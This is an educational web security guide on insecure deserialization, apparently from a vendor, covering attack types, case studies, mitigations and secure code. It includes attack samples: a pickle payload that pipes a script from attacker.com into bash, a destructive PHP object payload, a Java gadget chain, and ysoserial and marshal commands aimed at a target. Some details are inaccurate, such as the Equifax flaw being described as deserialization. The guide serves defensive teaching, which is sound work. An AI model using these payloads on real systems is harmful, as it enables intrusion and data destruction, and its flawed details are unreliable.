#
Insecure Deserialization
CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10
#
Overview
Insecure Deserialization is one of the most dangerous vulnerabilities in modern web applications, often leading to Remote Code Execution (RCE) - meaning attackers can run any code they want on your server.
In One Sentence
Attackers trick your application into unpacking malicious data that executes harmful code when processed.
#
Simple Explanation
#
Real-World Analogy
Imagine you're an airline that has a special technology: you can convert passengers into compact luggage for shipping (serialization), then unpack them back into passengers at the destination (deserialization).
Here's the problem: If you don't inspect the luggage before unpacking it, an attacker could smuggle a bomb inside. When you unpack the luggage at the destination, the bomb detonates.
#
The Technical Explanation
Converting program objects into text/bytes for storage or transmission
Converting that text/bytes back into objects
Attacker modifies the serialized data to create malicious objects that execute code when unpacked
#
Common Use Cases
Applications frequently need to save complex data structures (objects) to:
- Store in databases
- Send across networks
- Cache in memory
- Save to files
The Vulnerability
The vulnerability occurs when:
- Application deserializes data from untrusted sources (user input, cookies, etc.)
- No validation is performed on the serialized data
- Malicious serialized objects can trigger code execution during deserialization
#
The Vulnerability
#
Step-by-Step Attack Scenario
User adds item to cart → Application serializes cart object → Stores in cookie
Normal serialized cart (simplified):
O:4:"Cart":2:{s:5:"items";a:1:{i:0;s:6:"Laptop";}s:5:"total";i:1000;}
This represents: Cart object with 1 item (Laptop) and $1000 total.
Attacker captures their own cookie and sees the serialized format.
They realize: "The application deserializes this cookie on every request!"
Attacker creates a malicious serialized object that, when deserialized, will:
- Execute system commands
- Create backdoor accounts
- Read sensitive files
- Install malware
Malicious serialized payload:
O:10:"EvilObject":1:{s:7:"command";s:15:"system('rm -rf')";}
Attacker replaces their legitimate cookie with the malicious one and sends a request.
// VULNERABLE CODE
$cart = unserialize($_COOKIE['cart']); // DANGER!
When the server deserializes the malicious object:
1. It reconstructs the "EvilObject"
2. The object's constructor or magic methods execute automatically
3. The embedded command runs: system('rm -rf') - deleting files!
Result: Attacker achieves Remote Code Execution (RCE) on the server
#
Types of Deserialization Attacks
#
1. Remote Code Execution (RCE)
Executing arbitrary code on the server
import pickle
user_data = request.cookies.get('session')
session = pickle.loads(base64.b64decode(user_data)) # DANGER!
import pickle
import os
class MaliciousClass:
def __reduce__(self):
return (os.system, ('curl attacker.com/backdoor.sh | bash',))
payload = pickle.dumps(MaliciousClass())
# Attacker sends this as cookie
When the server deserializes this, it executes the command to download and run a backdoor script.
#
2. Denial of Service (DoS)
Creating objects that consume excessive resources
// Create enormous serialized object
byte[] hugeObject = createGiantSerializedArray(1000000000);
// Server runs out of memory trying to deserialize it
#
:icon-lock-open: 3. Authentication Bypass
Manipulating serialized session data to gain unauthorized access
{'user_id': 123, 'is_admin': False}
{'user_id': 123, 'is_admin': True}
Application deserializes and grants admin access
#
4. SQL Injection via Deserialization
Embedding SQL commands in serialized objects
// Attacker crafts object with SQL injection
SerializedUser user = {
username: "admin' OR '1'='1",
// ...
}
// When deserialized and used in query, causes SQLi
#
Real-World Examples
#
Case Study 1: Equifax Breach (2017)
Apache Struts2 deserialization vulnerability (CVE-2017-5638)
- 147 million people affected
- Social Security numbers, birth dates, addresses stolen
- $700+ million in costs
- CEO resigned
- Attackers exploited deserialization flaw in file upload feature
- Sent malicious serialized objects in HTTP headers
- Gained remote code execution
- Accessed databases for months undetected
// Vulnerable Struts2 code (simplified)
Object obj = objectInputStream.readObject(); // Deserialized untrusted data
#
Case Study 2: Jenkins (CVE-2017-1000353)
Java deserialization in Jenkins automation server
- Remote code execution on Jenkins servers worldwide
- Thousands of servers compromised
- Used for cryptocurrency mining and botnets
- Jenkins CLI deserialized user-supplied data
- Attackers sent malicious serialized Java objects
- Achieved full server control
#
Case Study 3: Apache Commons Collections
Widely-used Java library vulnerability
- Affected thousands of applications
- Used in numerous real-world breaches
- Created "ysoserial" attack framework
// Malicious object that runs system command when deserialized
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"}) // Runs calculator (proof of concept)
});
#
Prevention & Mitigation
#
1. Avoid Deserializing Untrusted Data (Best Practice)
The Golden Rule
Never deserialize data from untrusted sources
import pickle
user_session = pickle.loads(request.cookies.get('session'))
import json
user_session = json.loads(request.cookies.get('session'))
# JSON is data-only, cannot execute code
- JSON - Data-only, no code execution
- YAML (safe_load) - Restricted YAML parsing
- Protocol Buffers - Binary format, type-safe
- MessagePack - Efficient binary JSON
#
2. Digital Signatures
If you must serialize objects, sign the data to prevent tampering
import hmac
import hashlib
import json
import base64
SECRET_KEY = 'your-secret-key-here' # Keep this secret!
def serialize_safe(data):
# Serialize data
serialized = json.dumps(data)
# Create signature
signature = hmac.new(
SECRET_KEY.encode(),
serialized.encode(),
hashlib.sha256
).hexdigest()
# Combine data + signature
safe_cookie = base64.b64encode(
f"{serialized}|{signature}".encode()
)
return safe_cookie
def deserialize_safe(safe_cookie):
# Decode
decoded = base64.b64decode(safe_cookie).decode()
serialized, signature = decoded.split('|')
# Verify signature
expected_signature = hmac.new(
SECRET_KEY.encode(),
serialized.encode(),
hashlib.sha256
).hexdigest()
if signature != expected_signature:
raise ValueError("Invalid signature - data was tampered!")
# Safe to deserialize
return json.loads(serialized)
- Attacker can't modify the data without knowing the SECRET_KEY
- Any tampering invalidates the signature
- Server rejects tampered data before deserialization
#
3. Type Constraints and Validation
Limit what types of objects can be deserialized
// Create whitelist of allowed classes
public class SafeObjectInputStream extends ObjectInputStream {
private Set<String> allowedClasses = new HashSet<>(Arrays.asList(
"com.yourapp.User",
"com.yourapp.Session",
"java.lang.String"
));
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName()
);
}
return super.resolveClass(desc);
}
}
// Use the safe version
SafeObjectInputStream in = new SafeObjectInputStream(inputStream);
Object obj = in.readObject(); // Only whitelisted classes allowed
import jsonpickle
class SafeUnpickler:
ALLOWED_CLASSES = {
'User': User,
'Session': Session
}
def loads(self, data):
obj = jsonpickle.loads(data)
if obj.__class__.__name__ not in self.ALLOWED_CLASSES:
raise ValueError(f"Class {obj.__class__.__name__} not allowed")
return obj
#
4. Isolate Deserialization
Run deserialization in isolated environments with limited privileges
// Run deserialization in restricted security manager
SecurityManager sm = new SecurityManager();
System.setSecurityManager(sm);
// Deserialization now runs with limited permissions
Object obj = inputStream.readObject();
- Run deserialization in Docker containers
- Limit container resources and network access
- If compromised, damage is contained
- Dedicated service for deserialization
- No access to databases or sensitive systems
- Validates data before passing to main application
#
5. Monitoring and Logging
import logging
def deserialize_with_monitoring(data, source):
logger = logging.getLogger('deserialization')
# Log all deserialization attempts
logger.info(f"Deserialization attempt from {source}")
logger.debug(f"Data size: {len(data)} bytes")
try:
# Attempt deserialization with timeout
with timeout(5): # 5-second limit
obj = safe_deserialize(data)
logger.info("Deserialization successful")
return obj
except Exception as e:
# Log and alert on failures
logger.error(f"Deserialization failed: {e}")
send_security_alert(f"Possible deserialization attack from {source}")
raise
- Deserialization failures (potential attack attempts)
- Unusual object types
- Large serialized data (DoS attempts)
- Repeated failures from same source
#
Detection & Testing
#
Code Review Red Flags
unserialize() // Extremely dangerous with user input
pickle.loads() # Never use with untrusted data
pickle.load()
yaml.load() # Use yaml.safe_load() instead
ObjectInputStream.readObject() // High risk
XMLDecoder.readObject()
Marshal.load() # Dangerous with user input
YAML.load() # Use YAML.safe_load()
JSON.parse() // Generally safe, but check for prototype pollution
node-serialize.unserialize() // Dangerous
#
:icon-map: Where to Check
Session data, user preferences
Custom headers, authentication tokens
POST bodies, request parameters
Stored serialized objects
RabbitMQ, Kafka messages
Redis, Memcached data
#
Testing Tools
# Generate malicious Java serialized object
java -jar ysoserial.jar CommonsCollections5 'calc.exe' | base64
# Test on target
curl -X POST http://target.com/api \
-H "Cookie: session=<base64-payload>" \
-v
import marshal
import base64
import types
# Create payload that executes command
code = compile("__import__('os').system('whoami')", "<string>", "exec")
payload = base64.b64encode(marshal.dumps(code))
# Test on target
import requests
requests.post('http://target.com/api',
cookies={'session': payload})
- Automatically detects deserialization
- Tests multiple exploit chains
- Supports Java, .NET, Python, Ruby
#
Secure Implementation Examples
#
Example 1: Session Management (Python/Flask)
from flask import Flask, request, make_response
import pickle
import base64
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
# DANGEROUS: Serializing and storing in cookie
session_data = pickle.dumps(user)
encoded = base64.b64encode(session_data).decode()
response = make_response("Logged in")
response.set_cookie('session', encoded)
return response
@app.route('/dashboard')
def dashboard():
# DANGEROUS: Deserializing user input
session_cookie = request.cookies.get('session')
user = pickle.loads(base64.b64decode(session_cookie))
return f"Welcome {user.username}"
from flask import Flask, request, session
from flask_session import Session
import secrets
app = Flask(__name__)
# Use server-side sessions
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SECRET_KEY'] = secrets.token_hex(32)
Session(app)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
# Store only user ID in signed session cookie
# Flask handles signing/verification automatically
session['user_id'] = user.id
session['is_admin'] = user.is_admin
return "Logged in"
@app.route('/dashboard')
def dashboard():
# Retrieve session data (automatically verified)
user_id = session.get('user_id')
if not user_id:
return "Not logged in", 401
# Fetch user from database
user = User.query.get(user_id)
return f"Welcome {user.username}"
#
Example 2: API Response Caching (Node.js)
const serialize = require('node-serialize');
const redis = require('redis');
const client = redis.createClient();
app.get('/api/user/:id', async (req, res) => {
const cacheKey = `user:${req.params.id}`;
// Check cache
client.get(cacheKey, (err, cached) => {
if (cached) {
// DANGEROUS: Deserializing cached data
const user = serialize.unserialize(cached);
return res.json(user);
}
// Fetch from database
const user = await User.findById(req.params.id);
// DANGEROUS: Serializing objects
client.set(cacheKey, serialize.serialize(user));
res.json(user);
});
});
const redis = require('redis');
const client = redis.createClient();
app.get('/api/user/:id', async (req, res) => {
const cacheKey = `user:${req.params.id}`;
// Check cache
const cached = await client.get(cacheKey);
if (cached) {
// SAFE: JSON is data-only
return res.json(JSON.parse(cached));
}
// Fetch from database
const user = await User.findById(req.params.id);
// SAFE: Store as JSON
await client.set(cacheKey, JSON.stringify(user), {
EX: 3600 // 1-hour expiration
});
res.json(user);
});
#
Example 3: Message Queue Processing (Java)
// Consumer reads messages from queue
public void onMessage(Message message) {
try {
byte[] body = message.getBody(byte[].class);
// DANGEROUS: Deserializing untrusted data
ByteArrayInputStream bis = new ByteArrayInputStream(body);
ObjectInputStream ois = new ObjectInputStream(bis);
Task task = (Task) ois.readObject(); // DANGER!
processTask(task);
} catch (Exception e) {
e.printStackTrace();
}
}
import com.fasterxml.jackson.databind.ObjectMapper;
public class SecureMessageConsumer {
private final ObjectMapper mapper = new ObjectMapper();
public void onMessage(Message message) {
try {
String body = message.getBody(String.class);
// SAFE: JSON deserialization with type validation
Task task = mapper.readValue(body, Task.class);
// Additional validation
if (!isValidTask(task)) {
throw new SecurityException("Invalid task data");
}
processTask(task);
} catch (Exception e) {
logger.error("Message processing failed", e);
sendToDeadLetterQueue(message);
}
}
private boolean isValidTask(Task task) {
// Validate all fields
if (task.getId() == null || task.getId() <= 0) return false;
if (task.getType() == null || !ALLOWED_TYPES.contains(task.getType()))
return false;
return true;
}
}
#
Security Checklist
#
Development
- Never deserialize data from untrusted sources
- Use safe formats (JSON, Protocol Buffers) instead of native serialization
- Implement digital signatures for serialized data
- Whitelist allowed classes for deserialization
- Validate all deserialized data before use
- Avoid pickle, Marshal.load, unserialize() with user input
- Use safe alternatives (json.loads, yaml.safe_load)
#
Infrastructure
- Isolate deserialization in sandboxes or containers
- Run with minimal privileges
- Implement timeouts for deserialization operations
- Monitor deserialization attempts
- Keep frameworks and libraries updated
- Configure WAF rules to detect serialization patterns
#
Testing
- Identify all deserialization points
- Test with modified serialized data
- Use ysoserial for Java applications
- Test with oversized payloads (DoS)
- Verify signature validation
- Check error messages don't leak information
- Penetration testing with deserialization exploits
#
Key Takeaways
Primary Defenses
- Never deserialize untrusted data - This is the root cause of all deserialization attacks
- Use safe formats - Prefer JSON, Protocol Buffers over native serialization
- Implement signatures - If you must serialize objects, sign the data cryptographically
- Whitelist classes - Restrict which object types can be deserialized
Critical Points
- Insecure deserialization often leads to complete server compromise
- Many high-profile breaches (Equifax, Jenkins) exploited this vulnerability
- Testing can be complex - use specialized tools like ysoserial
- Error messages can reveal serialization formats to attackers
Best Practices
- Isolate and monitor deserialization operations
- Keep libraries updated (many exploits target outdated versions)
- Use framework-provided session management
- Regular security testing with deserialization tools
- Implement defense in depth with multiple validation layers
#
References & Resources
#
Official Documentation
- OWASP Deserialization Cheat Sheet
- CWE-502: Deserialization of Untrusted Data
- OWASP Top 10 - Insecure Deserialization
#
Testing Tools
- ysoserial - Java Deserialization Exploits
- Freddy - Burp Extension
- GadgetProbe - Python Testing
- marshalsec - Java Unmarshalling
#
Learning Resources
- PortSwigger Web Security Academy - Deserialization
- HackTricks - Deserialization
- OWASP Testing Guide - Deserialization
#
Layerd AI Protection
Layerd AI Guardian Proxy automatically detects and blocks deserialization attacks:
- Signature validation - Ensures data integrity
- Anomaly detection - ML-powered identification of malicious patterns
- Automatic blocking - Real-time prevention of exploit attempts
- Zero performance impact - Line-rate inspection
Learn more about Layerd AI Protection →
Remember: Insecure deserialization is a critical vulnerability that can lead to complete server takeover. Always use safe serialization formats like JSON, and never trust user-supplied serialized data.
When in doubt, use JSON instead of native serialization!
Last updated: November 2025